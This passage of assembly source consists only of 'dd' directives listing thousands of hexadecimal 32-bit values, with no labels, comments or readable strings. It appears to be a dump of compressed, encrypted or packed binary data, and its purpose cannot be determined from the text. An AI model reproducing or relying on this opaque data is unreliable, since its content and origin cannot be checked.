0C58DE2CAh, 66EA01DDh, 68127085h dd 6AF32AC4h, 0B332D300h, 9647BF03h, 292C7B17h, 5BD7A0B2h dd 47825727h, 4F068B60h, 9E57E917h, 7E40E5F5h, 0BF4CACBh dd 5BDA09F8h, 7A7E94F8h, 0C90076B0h, 50C308A4h, 8A54FCE9h dd 0A9CD1482h, 48E5BA00h, 0F74116A1h, 8063A9DAh, 0AE2CC4F2h dd 0D668BD46h, 5180EC11h, 13DEC250h, 0F5E2167Fh, 377C70ABh dd 0B0E9C072h, 480F0425h, 0A97379E9h, 52AC07E1h, 12BFA88h dd 0EB285B19h, 7B3CF63Bh, 0F03C1B41h, 8D33502h, 3E7426A0h dd 90365112h, 0E6A2BF7Eh, 0E066ED5Ah, 75DB67A0h, 81721700h dd 776804F3h, 870F3915h, 0EF504C59h, 0F1909756h, 8A3726B5h dd 91F38FDCh, 0E7CD0215h, 0D117346h, 0B35A460h, 64873Eh dd 5F58F7CFh, 0A4BD5576h, 92C097DDh, 11C937E9h, 348703C0h dd 58C281C1h, 30132C28h, 6544FFC3h, 9DBBA020h, 23D92BA8h dd 575CD76Bh, 6F85421Eh, 728085Dh, 0E98EE90Bh, 7DECEFE1h dd 9C3958FEh, 5D82503Ch, 8E70E994h, 0D1F5C3A0h, 62BFE828h dd 66822FB2h, 0FB0622EBh, 0C387CA47h, 0D7EE065Dh, 0E985FCE7h dd 31FBF05Ch, 1ADE41Fh, 2B71FE01h, 90840FB5h, 565E46ECh dd 79AA0E9h, 0FA055800h, 1063A77h, 252D42F8h, 52AD295Fh dd 86564C00h, 5704210h, 0A65FD12Dh, 7C328B81h, 0F3DAEB04h dd 8817F85Dh, 6D4D8C5Bh, 0E9AC5240h, 987A8B7Bh, 2655B208h dd 0F88F280h, 0EEA9E953h, 0F6EBD854h, 5EF65206h, 7BE9123Eh dd 1E533FA0h, 0EC567968h, 30481FDBh, 29F5EAC7h, 344E865Ch dd 61BEF134h, 20795BEh, 9A39D466h, 684013B7h, 0DC125F85h dd 0A3022954h, 901C4709h, 5EAEE9A3h, 0A0FB57B2h, 6CF66B88h dd 0B20115Eh, 0B777D068h, 5C71F459h, 0E9089E4Bh, 0FC2820B2h dd 0FE88C800h, 3EEC05Bh, 0E9D609F6h, 10C9CE01h, 0D2CCE12Ah dd 5AFA274Bh, 0DC61F642h, 21F9D4F5h, 3179C490h, 4F454D12h dd 34F2BF01h, 9E344947h dd 1FC102EFh, 0A4E93FA0h, 7DD40977h, 29104B8h, 6D28F589h dd 0CAF204Bh, 0B760B1FDh, 4112A9C4h, 13E9163Eh, 0DEC22284h dd 0F427C656h, 25E4A0ACh, 0ECCC15C1h, 0D79E4B31h, 0C8E2CDF3h dd 9CBD78A6h, 8D38939Bh, 502C7B62h, 87F89D54h, 6329F100h dd 0C1D2F777h, 810607EAh, 215047CAh, 7A1EE92Ch, 41B8BB53h dd 0AF18C44Bh, 38F96029h, 0B2BE1D85h, 21CDC217h, 0A0F455E2h dd 0B100A12Ch, 0F727ED37h, 957CC0DBh, 311D1293h, 405AD32Fh dd 12892DA4h, 0AF101FBDh, 0CBF84875h, 0D8274ED4h, 2F5AD639h dd 0F8E37052h, 41D75628h, 431880A1h, 817B9C1Fh, 37590BE5h dd 500A3D75h, 0E8BA006Ah, 0E901C6EBh, 4A6CF4B9h, 7F53411Ah dd 0C9E43B81h, 6030601Dh, 404E36A0h, 780C832Dh, 6344BFC3h dd 6FECE92Ch, 16BC79A4h, 6090AC9Fh, 481E5E55h, 44044869h dd 802A981Ch, 0BD296D3Fh, 1CC84958h, 7D5F30B4h, 0BD3F100h dd 3B8736EDh, 8E1F7D9h, 33C1DCE9h, 0F36813FAh, 532502A1h dd 142EDB7Ah, 0F468D5Fh, 269E3EA6h, 3C0BAAB9h, 8460F929h dd 7B926125h, 8E82E926h, 4715C340h, 293214CCh, 841FBCBh dd 29C14962h, 0EEEA68C3h, 0AD124CAFh, 3E5837DCh, 64841BB1h dd 71590C83h, 66012D22h, 381702B7h, 235A7E9h, 824DA32Eh dd 0F5B497E9h, 51FE4194h, 0BDA4488Ah, 52602BAh, 5B3FE918h dd 0E557CE99h, 125BCFB3h, 528506E8h, 0C0F293A5h, 3FE5C9CCh dd 4C2CAEA4h, 0EBD36A90h, 15B6C675h, 0E3E3F95Fh, 29272D5Ch dd 4F468122h, 0F3B3CA0Bh, 5F029192h, 404C652Ch, 150025CBh dd 0F76A53Ah, 89859082h, 762A2DCEh, 0F73CD709h, 0A860F46h dd 0F42708C1h, 0E9325624h, 57050B9Ch, 7B5D9869h, 0BADAE708h dd 0EE0CF396h, 0CB3A9E69h, 9CD74C52h, 0BF088729h, 30C7284Eh dd 0F5BFF061h, 0FC0128D4h, 590E2D85h, 54617141h, 0B94AE601h dd 0B0C81341h, 6FF876FDh, 685D0924h, 87514494h, 1A08BC26h dd 0C5BB3CA4h, 137EEEA7h, 681283A8h, 24342773h, 0C87B74FEh dd 0A7C26CA5h, 7D5EB353h, 71881682h, 0F6BECEF5h, 792BD057h dd 2C1830Fh, 9AD7F089h, 60E7D44Fh, 93685650h, 12B80517h dd 4A0FBFACh, 8920B931h, 0C818E9F0h, 0FEBF54C0h, 9D06CA62h dd 5F4AEA5Ah, 0E8E90961h, 2C80CA54h, 1FCF727Bh, 4BCB896Dh dd 683BD808h, 756871D1h, 0F74E6075h, 0C679D675h, 374A4CF6h dd 0B80348F3h, 384B6740h, 774CC2CBh, 5B4A496Eh, 0C3F4A19Dh dd 0E5FB9EFh, 4F4B489Fh, 7A5996E2h, 3F5AE049h, 7DB40216h dd 59CAE945h, 478922D5h, 448E5453h, 0A21D8820h, 2B4D41h dd 0FE0CA0B6h, 0E817B873h, 2FA853Eh, 7FE95D3Ah, 0BC9793D8h dd 0F9E8971Fh, 0A3C0791Fh, 0F452ABF2h, 0B0D9862h, 42E636BFh dd 23AA4286h, 5D63E107h, 0E7B25C1Dh, 8BCE7F99h, 68414496h dd 0E22E353Dh, 9425C40Dh, 0FC4B44ABh, 8ACC1E3Eh, 7004175Eh dd 51D80B2Ah, 8480E4B1h, 6D35E9CEh, 0FBB5380h, 41FC5928h dd 0A8F52E65h, 0D009A1F9h, 80CB600h, 0FE5AF70Fh, 9D0B84CFh dd 0FC5753BEh, 50C7436Bh, 0B649B725h, 5D58073Bh, 4FA2626Ch dd 88BC567Fh, 0AC398967h, 14428BF7h, 0F25B057Ch, 4E8A9165h dd 0BFC699EDh, 469D324Ch, 15B567A5h, 0FFF85451h, 510B1D87h dd 0C6FE63F5h, 0CB890495h, 27DAA263h, 9F88CC1h, 4DE30A81h dd 3EE68C6Bh, 39CFE785h, 6806AF90h, 5C717DE9h, 8B444C92h dd 0B75318ACh, 80E18462h, 1387C55Eh, 38DB877Bh, 5A5BDD02h dd 0DC8A2D92h, 0F705B44Eh, 75CD68E1h, 6221DBDDh, 0C93B1431h dd 6D430A4h, 619C4817h, 31AC1A01h, 0B200238Eh, 37C5019h dd 543ACF05h, 1FF43D9h, 4098BC7h, 2BB12EA0h, 0E4E2D93Ah dd 1A6CD1E9h, 48D6E20Eh, 20816BCDh, 0ED306B76h, 0D8712868h dd 252FC642h, 2ADE1D72h, 6E41BE40h, 0F11A4AFDh, 1CB640DEh dd 4307CA13h, 0FE9EA31h, 6521687Ch, 88896CDEh, 17B0D361h dd 0E17ED141h, 3ED2A23h, 4EE91240h, 0DC8C1385h, 3FEDEC0Ah dd 0BC580BE7h, 28254B20h, 6839F4D9h, 806F03D7h, 0E7997EC7h dd 7FCA21D2h, 53AD7717h, 3A755A8Bh, 0BDA0D03Bh, 2E5046EAh dd 812E916h, 0ABBD24FAh, 60DFCF50h, 4807BA52h, 8380BF91h dd 70F83CE4h, 0E34017FCh, 9494EC50h, 25EA2CA9h, 86107B58h dd 0F85B933Eh, 0C584F4C2h, 0F5210C83h, 9DF7C9A4h, 2865600Bh dd 0EE8C181h, 116CC831h, 0BE5B57CBh, 1E2D6884h, 5D27D314h dd 2513C211h, 965F2D7Fh, 58B210BCh, 0BDD45F5h, 1704E0D3h dd 0A03C4B39h, 5947ABC7h, 0ED811865h, 0E4E90DAAh, 0C5FFAE60h dd 58CD069Ah, 0AC05E425h, 0F1B590ECh, 9F998810h, 213B2C71h dd 0F4B03E6Eh, 0FCCFEB3h, 3188016h, 817657B4h, 6DF6EC24h dd 5A05F4E0h, 0E33015B3h, 0AA219699h, 6B2DF02Ah, 0BBB66290h dd 0C229DC2Dh, 0D1004A71h, 9FC23BEAh, 8C5B7B70h, 0F420B349h dd 22574B20h, 57F029E0h, 9F113023h, 7912575Eh, 0D744C4C8h dd 7F26BC5Bh, 97CDD888h, 42D22599h, 0A9292C45h, 0BA9E762h dd 0AF50C8E9h, 732C0593h, 0B1E95130h, 0BFEDB5F8h, 15662EA5h dd 0D72113D3h, 0F7F8F08h, 4CC43EB6h, 5E28FA83h, 49D88814h dd 7D8A8082h, 0C90DC43Ah, 0E14E5A34h, 14918950h, 8F69CC41h dd 0E9A0D14Ch, 22CB7A26h, 0D694D55Dh, 0F7DC41AAh, 76BB63C3h dd 0C5195A53h, 0AADDBBF6h, 0D0E9A310h, 0E4D0AA76h, 0C3776BCFh dd 45EBE37Bh, 0B95101F9h, 0C27B5350h, 5230C1CEh, 0B6EE556Eh dd 0B5E12FF8h, 0D04985DCh, 5B3CF0B3h, 406F3FEh, 0B14AF15Dh dd 0C823D2AFh, 0C87B9885h, 1F17AEABh, 6AEC5B45h, 781E3D01h dd 0C1870F3Bh, 0F37B8Ch, 0C3CA8081h, 0FFE26A5Eh, 0EF84FE90h dd 9D061668h, 9F927502h, 0FD4665F1h, 9EE93E3Dh, 5A8905Bh dd 802F850Fh, 0F4505A58h, 95F1DB5h, 0C5C39D3Dh, 0FFCBF7B1h dd 0A1228A71h, 0E6E70B28h, 0C19F61FDh, 0C22FD9A0h, 0C0405B97h dd 17133E99h, 4EFEE946h, 74C4554Eh, 0C6EFECBEh, 0D5F8503h dd 825892F6h, 8F63D28Fh, 71F301C1h, 8808050Bh, 55D63966h dd 0D83E6A9Dh, 0E927F017h, 0D7238965h, 6BF85734h, 0E98403BBh dd 5D05E281h, 93FEC87h, 0F43A0457h, 0B93409E9h, 2CCC9075h dd 0AB6D95A0h, 44E880A5h, 510CCE11h, 0E53A9221h, 8D53CC28h dd 5CBD803Eh, 994E2815h, 1F36204Dh, 0F1814FB1h, 59CB8869h dd 5876C3D8h, 5D4CE630h, 703CE34Ah, 20EEF84Ah, 0CF51E957h dd 4BA54494h, 0D0D3DA11h, 0F6871D3h, 5E65402Ah, 0FC563369h dd 5212E0ADh, 0E57D8A7Bh, 3B39AA25h, 0DA61AA3h, 116A020Ah dd 0E15F61EAh, 0F160F720h, 8055C315h, 0EB9965E3h, 2CC2972Fh dd 0E9B7D302h, 0B549501Dh, 0C3F40FC4h, 18992A92h, 0E18FE9E1h dd 48BA603Eh, 4302A72Dh, 27E94E3Eh, 3A7A4C71h, 5D636988h dd 0D73B50CAh, 80093FC5h, 0E8895F45h, 5061005h, 0F8291D74h dd 2807142Dh, 0E750104h, 3F11C06Fh, 40E5FD09h, 313264F0h dd 165E7A49h, 57046939h, 5B00DBB8h, 0C003782Dh, 28106A4Ch dd 595A0705h, 0C987F12Ch, 0EC8201B9h, 70B68F8h, 0C533909Ah dd 0DD76D9CBh, 431EE207h, 1D82D059h, 5558A14Fh, 0BC408B71h dd 3A08E427h, 0BD8563BAh, 0ADF2014Fh, 13854F7Dh, 39668ECCh dd 6889F9F7h, 0A6E0E4Dh, 0E146B534h, 53A092ACh, 744025E9h dd 92C70B0h, 0F98858C7h, 0F4E8AA02h, 52D95E05h, 0FA2D0943h dd 356D6F0h, 0FBC18141h, 68B0A688h, 9114EA2Ah, 8EF2EE20h dd 0B6B963Ch, 969B6C62h dd 9215B4C1h, 1785963Bh, 0B0D83AADh, 0CF837577h, 0E9C0B65h dd 40CB41A2h, 0D879DEE0h, 0E1814F0Eh, 271204EBh, 0D35941EEh dd 8914F46Ah, 84490844h, 5DAE5175h, 599C68C5h, 665029C8h dd 71C6E6A2h, 0B6F04B20h, 903B101Eh, 680C6B48h, 658B5FB3h dd 2D40C65Fh, 54744361h, 0C70EC14Ah, 8016C341h, 8A1B550Ch dd 0A4D589F9h, 7D80B72Ch, 73F7BF57h, 0DA569024h, 91D9BA00h dd 926AE9F5h, 6BF8BDAAh, 8B3D45B5h, 6D785FE9h, 0D830AC02h dd 4129B753h, 0E660C24Fh, 1BCB9CAh, 3BBA3534h, 4641CC52h dd 25E81C4Eh, 0E3B9BE05h, 1827E9AEh, 0F1D3F482h, 5016F292h dd 475FD76h, 0E9D41F21h, 0FB3A0BCh, 31C8805Eh, 9D1CBAB0h dd 0CA20F8CFh, 0D6D1B14Bh, 9663D40Fh, 78145B31h, 0D2BF059Eh dd 0B27E9D68h, 0D857B901h, 857EFDCFh, 0A3D3944Dh, 42A25F8Bh dd 2AC4FF3Ah, 0B26E4541h, 6CB85E9Ch, 12842584h, 0BB7D34BFh dd 7255A900h, 6B351074h, 2A710B51h, 5A8EE12Dh, 0BEF32620h dd 1E562DF8h, 6D92330Dh, 0F20016Bh, 62634084h, 7BAB1C42h dd 830B3DDFh, 257FDEB0h, 0E7E25056h, 0C9BD2065h, 2F0AD326h dd 0F74B5D68h, 1EEC3F9Dh, 0DE3D7B40h, 0DD892DF5h, 0EB64DD71h dd 6ED02DFBh, 417E33E0h, 59596086h, 0CA2BFE41h, 0D5B0793Eh dd 0F4976A5Fh, 566B360h, 7AD5A06Fh, 0E6D58ABAh, 0C7CA77C1h dd 743F2C16h, 0F712BE92h, 27F369FBh, 0C2502654h, 0F468FB02h dd 18665562h, 74A9E89Dh, 74EB2FAh, 6F0B279Fh, 0F3CBBF56h dd 1062F8F4h, 890F01DDh, 56AA5274h, 44AF7E40h, 0BE7A200Fh dd 96B781A4h, 0F03BC08Bh, 0E2405A08h, 4BA8EC52h, 109DA3D6h dd 2D027F6Fh, 6EF96C2Fh, 0C587D882h, 0C448E901h, 5E79DC7Eh dd 5693AB95h, 9407C220h, 7603360Ah, 603E374Bh, 0D4250468h dd 42613306h, 95682D0Eh, 0A620CAC1h, 0A746024Ah, 43CDE901h dd 0B65ABE5Ah, 75DF4AB9h, 873AED1Fh, 8540F0B0h, 5B1A860Fh dd 7800B906h, 0D8B98B5Eh, 18D51069h, 7127EEA9h, 17D0075h dd 3EBD55D6h, 187E1358h, 425CED01h, 0E5D16756h, 25E957D0h dd 25A649F6h, 539D876Ch, 60343E97h, 0E1FBA119h, 3E51E258h dd 81D0B488h, 25AAF5F7h, 75E56F68h, 45B4A57Fh, 0CA51D085h dd 8A586F8Eh, 3BC20051h, 1F24EE7h, 69204C57h, 0D72B3434h dd 0AF698303h, 0F5BF1006h, 20B89E2Dh, 997FAF7h, 2E8F46A0h dd 3F77DFB6h, 0CBE64CF3h, 0F387A813h, 0D2512861h, 47A8024Ah dd 52C809B4h, 85E9B776h, 19D1E643h, 310D038Fh, 809F84B8h dd 3D8128F4h, 0CF6FCBCCh, 58341034h, 0E668570Bh, 66C0BF5h dd 0A104DFF4h, 887A60DEh, 5FD88C4h, 106F7005h, 4D1F44FBh dd 0B3A912E1h, 92FCC184h, 0F6F4396Eh, 0E546F625h, 7C47BCF6h dd 160A18BFh, 2C88895Ah, 76320502h, 3BC2094Eh, 9B085D4Fh dd 0E14B00EFh, 0FA012E16h, 58329AC6h, 87342A3Ch, 52E509F8h dd 0B2720CC7h, 0CD8FBAC5h, 785F9E41h, 0B4543039h, 53360481h dd 52E30507h, 97B6EDD0h, 6B1A49EEh, 4A7CAECEh, 0F06F95Dh dd 0C612C5Ah, 4B29E1C7h, 11D9F6F1h, 0EC4AED08h, 78B2C4FCh dd 0F65B0913h, 472F6945h, 5DE4ADCDh, 6E41D22Fh, 65E59D12h dd 0F11056A4h, 0BA16E05Bh, 0ADA7E9F1h, 50F4027h, 88820A98h dd 9BD89A4h, 10F77C01h, 0B4DAE942h, 6F5D1FBBh, 0F4FE6FEEh dd 1E9B4849h, 850802E6h, 0D75E2DF3h, 91F7E0F8h, 0FAAA3BEFh dd 0C2FE39B5h, 0A5ADCA3Ch, 96F50762h, 0BE9B9028h, 33575AB3h dd 2460E065h, 2D734C38h, 840EA48h, 84D35029h, 49CECh, 0A0239BBh dd 0EB1FC120h, 0FC025108h, 0FC06AA58h, 23092D7Dh, 2F655F69h dd 0E9DA954Eh, 58EEA049h, 67FA25h, 0DB35024Dh, 896C3F01h dd 8E30C35Ah, 903242B9h, 0D93106C0h, 0E95754E9h, 0C82DF705h dd 57C4CCD3h, 0F06EA1C9h, 0FC5A52F0h, 37C4C0E8h, 3CEB1344h dd 405BC212h, 0EFB5F7B9h, 42E9F316h, 7C3CD2D7h, 0CF7A9857h dd 1311D277h, 17681D0h, 0CD8B7EC6h, 0B5F1B85Eh, 21AFEF17h dd 0B4C3E9h, 2E70F0BBh, 827A3EAEh, 29107873h, 0B12627Dh dd 3BB35D08h, 410BC6E0h, 8012527h, 912608EBh, 637EF01h dd 39FC0571h, 0A6CD66A8h, 5D4AA958h, 0BCE5C9BDh, 0C891E20Fh dd 38853554h, 311B1B69h, 9FF953C1h, 0A5442ACEh, 161255D5h dd 87D203FFh, 1300D370h, 0F388C4F6h, 9F0624E9h, 57004FC5h dd 0D3B22BFh, 0E294C00Bh, 1F4F2C4h, 2CA6FD5Ch, 0E1CB2461h dd 0E90C5279h, 67C3EB5Ah, 5E8CB141h, 0F8D4174h, 1132A43h dd 240705EAh, 0D067178Dh, 0EA4BE059h, 0D6425424h, 0A343800h dd 0D2D8E910h, 12405EABh, 0F79181B6h, 0CCEA60DDh, 0EA7D2DF6h dd 4E1E9559h, 450327E2h, 556BC705h, 1F4BD4FAh, 2F3F78A9h dd 41DE3628h, 0CCF9444Ch, 38F006C0h, 3A88FC5Fh, 4DBDF650h dd 0F9026682h, 5B775545h, 0F803D941h, 5FC083CCh, 0F717B4C5h dd 90B9030h, 0E8CD1DC3h, 319E99D3h, 6DAEE984h, 0C1C63CD2h dd 0B8DE1D66h, 8EC1C0E3h, 5067CD94h, 0C2B5D897h, 0F58853BDh dd 95F68180h, 0B5461B7Ah, 8EF541E2h, 805229BCh, 8E558533h dd 0E0295E34h, 8B75986h, 1070C25h, 2209E9F1h, 4131ADF7h dd 0CA65F2A2h, 165B6878h, 0E355FC71h, 0BC3B4F70h, 2F04C72Eh dd 77FDDFD2h, 0E82757CEh, 0D0ED7C5Dh, 307A5F3h, 0BB533862h dd 5C81373Ch, 8A13B7EBh, 104F1254h, 0E93808B4h, 994BB8AFh dd 9263CDB9h, 42B8EF0Fh, 5F3922D3h, 0DD05B1E3h, 4D77860Fh dd 0C0A960EEh, 6C007E2h, 5BCDB302h, 3E4C33E9h, 1C3DA57h dd 0D15A0676h, 0E0105EE2h, 82A14BD2h, 124CA283h, 0F5B73565h dd 5921FCBCh, 0DD0C9300h, 58D735F8h, 915C3D5Ah, 0CF7C8889h dd 263D282Bh, 5CF57F8h, 0BEC158C1h, 9D2F6DEDh, 0BEB7F092h dd 0F2D7F627h, 88250B3Bh, 0DA875BFCh, 0E9E560D2h, 63B6760Dh dd 68801498h, 0A3256228h, 0A8459A21h, 0D407A43Dh, 2CD0F680h dd 75C388F7h, 0B1915B58h, 9A5DD20Fh, 0AA5A4B6Fh, 916D4A0h dd 35FFDB1h, 2804368h, 0A74FC15Fh, 5B5D89C8h, 4B879979h dd 5707F2BDh, 0FE819962h, 0F68B4102h, 800850E3h, 480F37Fh dd 5488F01Eh, 6934BB41h, 2C92AE37h, 6853A901h, 47E33F0Dh dd 0FBDF7573h, 8EEB982Eh, 5C5B0D9Ah, 0C8851F3h, 3A5D6C08h dd 985B5995h, 29BDC116h, 4EA94B95h, 0E091D7F8h, 6AA88E4Ah dd 12052F66h, 23AC7851h, 0C4383B02h, 1D608127h, 0E19C1362h dd 0F8CB722Dh, 46BB3AE3h, 2583F87Bh, 785E4EDCh, 6D90E0E9h dd 202493E2h, 0BD60A080h, 0B43B1E5h, 0AF51F8E7h, 0B9F48492h dd 17580CCBh, 3D720966h, 206055ECh, 1254AF0Ch, 521DB060h dd 1503FA7Ah, 5E0AA209h, 0ED38C68Dh, 9351593Bh, 67FF0E4Eh dd 5C76A33Ah, 0A891874Eh, 2901BAA3h, 648EFD5h, 0F6BC4BCEh dd 0FB4E5B84h, 5709AD8Eh, 0F9845F54h, 89F3F0CCh, 25059CB7h dd 0DDD0485Eh, 0BD81AA7Bh, 25BA22D4h, 147D8951h, 54680485h dd 0C3C7464Bh, 3506408Fh, 47640E18h, 48B901A2h, 0A9E9BEBBh dd 0DCA758E4h, 3BB2845Fh, 23057302h, 0F3604E2Ch, 0C4027C40h dd 68A0F4Bh, 9890FD77h, 0B6408180h, 0CB287FE9h, 6654E7D1h dd 95FC8F58h, 8319A73h, 0F44238B4h, 81A4F503h, 8B290B3Bh dd 47647E70h, 0A47FE256h, 46C4ABh, 5FFD2916h, 0BE6228BEh dd 0CE729902h, 0FD96E965h, 84CB93A4h, 1C91BFF2h, 1C680389h dd 2ED4ADA5h, 0BD81E862h, 71F9072Eh, 0EC278120h, 0E91E1AD3h dd 2A833131h dd 63E055B0h, 241F4F89h, 0D2C55A59h, 8CEB9768h, 5E4B5458h dd 0EBD272E3h, 19318B29h, 59DE1DA5h, 4E3FCA01h, 1187364Dh dd 0E05C89C2h, 5EAE968h, 0A1B92EE1h, 305077CBh, 0A44F4191h dd 28EF075Fh, 0F327682Ch, 7003542Ah, 94A0EE9h, 3482B874h dd 0E3A40EC3h, 0CD41FBC8h, 2B404F1Fh, 0FC07EAFCh, 0B092BA7Dh dd 5800F02h, 6C6D3DBCh, 5F998253h, 55445668h, 0E19B281Eh dd 55C3E96Eh, 3AB19840h, 0D36E2881h, 0F399333Ch, 588A2AA2h dd 1D7DAD4Bh, 0E6525AF4h, 305BD660h, 4AF3B7F0h, 41335D25h dd 52B21A01h, 0E9EFC380h, 0C84BEBE2h, 256F1D68h, 0ED45135Ch dd 0DB0C3524h, 1E2C2A47h, 49C6887Dh, 839B75BFh, 83854C2Ch dd 82544558h, 0D5AD91FFh, 2D22133Eh, 4337210Ch, 9576BAF6h dd 0C72FE32h, 20F5525Bh, 449D6D56h, 6ACEF51Dh, 69428260h dd 5E92F78Ah, 64B8741h, 8868150Eh, 0D6643845h, 39AE452h dd 0D12B1998h, 0E9044FECh, 12B8C002h, 0EA0D23C2h, 6FFD8C82h dd 2885F909h, 378200F7h, 0F7817B05h, 4F2721A9h, 253CF453h dd 0EF0BAAD0h, 711E7466h, 25BB00DAh, 0DDE98B6Fh, 0B1E4B741h dd 16612C0Fh, 0B2062041h, 0EEAF2AEh, 50D92956h, 0CE10EE72h dd 94872E08h, 96102226h, 0A7115826h, 0FC27F8F6h, 9260D28Bh dd 0B75C6B11h, 0E9F305B3h, 0C98A783Dh, 8440AD5Ah, 5CE5AD6h dd 3B66391Bh, 5BFA80B0h, 8E01032Fh, 51897E03h, 2E985FFEh dd 0C59FB340h, 2B8890Bh, 77EA9ADFh, 0E9E13E98h, 2ACDC825h dd 0EA02D56Bh, 0C033801Eh, 2A187D04h, 0E6EE31FAh, 110258EEh dd 2616CE03h, 0AEB73B82h, 3FF62F62h, 0D25368F5h, 0D1BA8085h dd 1BAC6800h, 607CF281h, 0B428500Fh, 0D2F35C5Ah, 25A7012Ch dd 0DEBE5F02h, 164FCFF2h, 57D1A84Bh, 3C08CF17h, 0A74249Ah dd 698D3E1Ah, 5B3F3C55h, 5523B45Ch, 0A4BCE927h, 53BEBAF8h dd 0F953C6h, 0A47ECEA6h, 0CD780178h, 4108ED51h, 49DC1E62h dd 4A3762D7h, 56BC780Bh, 96F7C983h, 197DF367h, 944A2D76h dd 0CD5171FCh, 2C96EC7Ch, 2294291Dh, 78BB5096h, 0EC27E997h dd 168A644Eh, 0D671F08Dh, 1D26CABEh, 66604AF6h, 0E941942Dh dd 51AF64BBh, 1431D054h, 152B2CE9h, 0CB4E5B66h, 14344A3Bh dd 82F495BDh, 5B07F2E4h, 0CFE0C665h, 695D9166h, 0EC9994F7h dd 9E1BB02h, 6E55ED9Fh, 756813AFh, 0D25F6136h, 0A2BD0039h dd 0E3824C4Dh, 302AB417h, 11FDBB64h, 0E9792804h, 5BA7BDA6h dd 1367A34Eh, 0D8085FF9h, 0A6581684h, 47B95EF2h, 0C7B6A10h dd 0FB0C8F68h, 417F4A13h, 0D61EB195h, 7F042F3Eh, 98E377F3h dd 0EAC20225h, 34D6888Bh, 15C2574h, 371A0268h, 0C81CF680h dd 6AA61113h, 9D08A716h, 20E9C28Bh, 4A4142CAh, 36F8E032h dd 809C72B6h, 0D528CD87h, 0A1D4F1C5h, 8FEF9885h, 500B42C0h dd 0DC31E9BFh, 5D5436A9h, 9C59A7Eh, 8B0BE8C1h, 9F14D547h dd 0FEAC544Ah, 8140823Ch, 608EE206h, 90C6E70h, 29074C85h dd 0F41AB00h, 212515E6h, 92A7F0CAh, 0EE36CBA5h, 0E9C1A15Dh dd 8B519D32h, 7CE01FE7h, 5FA7C9EFh, 0E689CF32h, 0E98905D4h dd 25475CEEh, 8E20A66Ch, 2CAC1EE2h, 90D713BBh, 0C49EB78h dd 0E39BA3Bh, 49136AF3h, 0A2EFC257h, 5476BFFCh, 9B666216h dd 0DFCF8902h, 35594041h, 0E706A6CEh, 0FF70F90Bh, 8BB7FB1h dd 2FC94586h, 4FF06B87h, 4B5B2535h, 8318E329h, 0C230E9h dd 7ED8BE34h, 0DE2978F5h, 53AB5B4Ah, 3C6BE9CEh, 0C6C0C177h dd 58F4E580h, 0FC50EC28h, 0E6394BF4h, 5FAE11D2h, 0BCFF598Bh dd 0DCEE4CB0h, 78BB9DD8h, 4FAE7A01h, 5726E943h, 0B88E6C38h dd 267E0BC7h, 816EC29h, 64EE0158h, 0F9111272h, 15D54EFEh dd 3586E406h, 0A4DE974Eh, 0B7B70278h, 749F7322h, 8418430Ah dd 4B5BA19h, 0F7133F40h, 0B1D180D2h, 7D5AC30Ch, 2ECB95F0h dd 0AC026A83h, 0B44E15D6h, 813A092Ch, 0A632FBCDh, 0EF837E26h dd 0D4888280h, 492D7Eh, 0AAF65486h, 94E226E4h, 4572534h dd 3CE0E726h, 5AF37288h, 66BCF4D1h, 0E7C76824h, 1CD3708h dd 4598F2Ch, 5D057A1Dh, 0D96086CAh, 9FD26850h, 0E7451542h dd 0C113F64Bh, 7880EAE9h, 6CB785C5h, 90C719A0h, 7F57FB0h dd 0B6521AEFh, 0F7D6D7C5h, 0AACEF4DEh, 0B5CF91B2h, 7A4D4F7Bh dd 3F92D696h, 0DAE4C05Dh, 5ED52F07h, 40087CE9h, 0A12AF4BEh dd 5AB52ED0h, 35D25EE2h, 6BB6A5EBh, 0A51199B1h, 876A51E7h dd 0C1E1656Fh, 0A56B533Bh, 0B0F85893h, 0F4349BDh, 0AE0FC44Eh dd 0A4FF0E8Dh, 0A17F29F5h, 6BA52B05h, 52C4EF32h, 0F319FC58h dd 79D5CCE9h, 688256ADh, 0CB7610A7h, 1C655860h, 0F796A24Fh dd 0BB53CD48h, 0B0261F02h, 60D8294Ch, 0A105C802h, 0F7DA590Ah dd 2B41F06Ah, 4DEE338Ch, 624E4C8h, 4B788C2h, 33F5C25Ch dd 0C5CA8802h, 0EA808712h, 2A2E0B12h, 0D2F658A1h, 0EC093AFEh dd 778E6E51h, 1955902Ch, 3E2EB252h, 5AD0C0ADh, 45420CB6h dd 95866662h, 5D5A387Ch, 44AF1D65h, 26AE1C68h, 9775A5A2h dd 0E9083186h, 94FDC6BDh, 0B7524A32h, 0A868C27Eh, 0AB4D725h dd 8D60E92Eh, 4BF2A5BAh, 3991AFB8h, 0EA703806h, 23B8625Ch dd 4CD1EA5Bh, 0E089F99Eh, 52E869D1h, 20B4A62Ah, 0B8E19FEAh dd 31FEF2C3h, 1F305C79h, 0B42D4A9Bh, 0E91853FCh, 0E8795F18h dd 4A5D8132h, 70BBD798h, 0A8E9DDE8h, 943D844Dh, 0EDF130BEh dd 2F7C3CC6h, 13DA1B65h, 4E32B12Fh, 74F99DABh, 425A76CBh dd 0F620BF10h, 0F3956C1Eh, 85B0C488h, 90B8C20h, 0F7316F14h dd 0F887CB07h, 0E339D027h, 97FF13Ah, 0D7953067h, 4EB33791h dd 41354C94h, 0A7AC7196h, 1D6800FCh, 175C284Ch, 78F260BDh dd 0DAF77E77h, 5E6102B5h, 0EC36C492h, 50149EB4h, 8980A884h dd 5F522EC2h, 3158C241h, 0C0954CFAh, 1328829Ah, 0A85D292Ah dd 0AFE98397h, 8E455852h, 782C064h, 0BF35553h, 0E01F3F9Ch dd 0B87E6316h, 538BC179h, 0E20045FCh, 80481858h, 6A651058h dd 0DF31B91Fh, 47137D74h, 55C0F576h, 3D0B8CB8h, 76A91B5Eh dd 0BB2C749Eh, 4D7FCF8Bh, 0AC3B2F22h, 59E21B27h, 0CEC8D45Bh dd 25AF0A0h, 0B9A56EBCh, 68129816h, 54415D2Fh, 1F79F6D6h dd 4EBEE9C1h, 47221E41h, 0A4ED4A75h, 9549FACh, 94802902h dd 2891EDEBh, 0C586D94Bh, 0F9E52041h, 7468BA04h, 18AE5663h dd 35AC46D3h, 0CC2B5F81h, 6838FDDCh, 0F0B8CA0Eh, 140152C0h dd 0D65BE97Dh, 0FC7E8F4h, 171F7C72h, 0E3EA1365h, 39C29954h dd 9231A93Ah, 1A765501h, 0B7211C41h, 8049E31h, 0EC489EFDh dd 409F1B10h, 6E009C8Ch, 8F0D2164h, 3F145Eh, 0A31AF32Dh dd 6E8C10Ah, 83F7E910h, 7D225B28h, 5271BC21h, 5616CF5Ah dd 17AD5E54h, 